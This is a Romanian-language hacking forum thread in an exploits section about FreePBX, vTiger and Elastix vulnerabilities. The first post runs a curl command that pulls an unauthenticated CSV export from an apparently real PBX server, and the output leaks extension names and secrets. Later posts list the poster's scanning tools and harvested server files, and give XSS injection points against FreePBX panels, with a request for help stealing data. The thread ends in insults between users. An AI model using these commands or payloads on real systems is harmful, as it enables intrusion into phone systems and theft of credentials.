Jump to content
k4570r3x

freePBX vTiger Elastix bug-uri si vulnerabilitati.

By k4570r3x, in Exploituri

Recommended Posts

k4570r3x Newbie

k4570r3x

Posted
Posted

[root@www ~]# curl -k -O https://177.43.52.102/modules/extensions_batch/libs/download_csv.php;cat download_csv.php

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

100 463 100 463 0 0 266 0 0:00:01 0:00:01 --:--:-- 452k

"Display Name","User Extension","Direct DID","Outbound CID","Call Waiting","Secret","Voicemail Status","Voicemail Password","VM Email Address","VM Pager Email Address","VM Options","VM Email Attachment","VM Play CID","VM Play Envelope","VM Delete Vmail","Context"

"Aeroporto","8451","","8451","DISABLED","8451","disable","","","","","no","no","no","no","ramais_sip"

"Blumenau","8470","","","DISABLED","8470","disable","","","","","no","no","no","no","ramais_sip"

ceva mai nou ca asta?

k4570r3x Newbie

k4570r3x

Posted
  • Author
Posted

[root@smento fssl2]# ls

a g3t sip.info unknown.servers

bios.txt get start vuln

cmd.servers get.py syn www-authenticate.servers

core known.servers thread.pl x

download_csv.php sip-www.info tst_curl.php

[root@smento fssl2]#

k4570r3x Newbie

k4570r3x

Posted
  • Author
Posted

care sti ma ceva nou? asta cu XSS

SS (2.9.0 and perhaps other versions):

[HOST]/panel/index_amp.php?context=[XSS]

[HOST]/panel/flash/mypage.php?clid=[XSS]

[HOST]/panel/flash/mypage.php?clidname=[base64_encode(XSS)]

[HOST]/panel/dhtml/index.php?context=/../%00">[XSS]

[HOST]/admin/views/freepbx_reload.php/"</script>[XSS]

[HOST]/recordings/index.php?login='>[XSS]

vreau si eu un tutorial cum le ia pastea cu XSS

peleme Newbie

peleme

Posted
Posted (edited)

Nu te baga nimeni in seama si tot continui sa faci pe nebunu... :-)

Ce postezi tu aici sunt buguri de acum 414 ani.

Parca te laudai pe mirc la "baieti" ca tu nu folosesti scannere si spargi numai prin mysql.

Ete ca te-am prins

A ... si altceva... postand aici niste buguri vechi de cand lumea... crezi ca vei obtine de la cineva ceva mai nou sa mai faci si tu 50 de dolari ?

Edited by peleme
Guest Kovalski

Guest Kovalski

Posted
Posted (edited)

k4570r3x, citeste regulile prima data!

REGULI

ai facut 4 posturi consecutive.

Edited by ps-axl
mandeamarian Newbie

mandeamarian

Posted
Posted

A ... si altceva... postand aici niste buguri vechi de cand lumea... crezi ca vei obtine de la cineva ceva mai nou sa mai faci si tu 50 de dolari ?

Stai cuminte ca inca se fac bani, 50$ fac aia care nu "muncesc" :)

k4570r3x Newbie

k4570r3x

Posted
  • Author
Posted (edited)

ce de frustrari :))) peleme ? suferi de vreo boala? vezi ca sunt din 2012 lunile trecute , fac pariu ca nu sti cum te numesti cu buletinu in fatza , iar eu nu fac lovele din ele, doar nu am ce face , te oftici?

dupa cum poti observa are peste 200 de vizualizari acest post , nu mai fi frustrat fa o la.. , scapa de plictiseala cumva, daca nu te duce capu sa faci altceva mui...e .

iar despre laudat pe unde ma laud eu , e treaba mea , sti cum le zice la astia care duc vorba dntr-o parte in alta? mancatori de shit , shit-ule.

Edited by k4570r3x

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...